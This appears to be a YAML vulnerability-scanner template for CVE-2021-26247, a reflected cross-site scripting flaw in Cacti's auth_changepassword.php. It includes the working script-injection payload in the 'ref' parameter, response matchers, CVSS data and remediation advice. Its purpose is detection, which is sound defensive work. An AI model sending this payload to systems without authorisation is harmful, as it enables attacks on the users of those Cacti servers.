49 lines
1.5 KiB
YAML
49 lines
1.5 KiB
YAML
id: CVE-2021-26247
|
|
|
|
info:
|
|
name: Cacti - Cross-Site Scripting
|
|
author: dhiyaneshDK
|
|
severity: medium
|
|
description: Cacti contains a cross-site scripting vulnerability via "http://<CACTI_SERVER>/auth_changepassword.php?ref=<script>alert(1)</script>" which can successfully execute the JavaScript payload present in the "ref" URL parameter.
|
|
remediation: |
|
|
Apply the latest security patches or upgrade to a patched version of Cacti to mitigate this vulnerability.
|
|
reference:
|
|
- https://www.cacti.net/info/changelog
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-26247
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-26247
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00255
|
|
epss-percentile: 0.63125
|
|
cpe: cpe:2.3:a:cacti:cacti:0.8.7g:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: cacti
|
|
product: cacti
|
|
tags: cve,cve2021,cacti,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"></script><script>alert(document.domain)</script>'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a004830460221009c4d6ff28992b67c62b2542ab9502d9ca325e4b96bfb5b67d14fa1b4856cdfe7022100d8298345195cdb74477fc1bf28af364690107dfd2e3ffc3530a92d95aa1d89ec:922c64590222798bb761d5b6d8e72950
|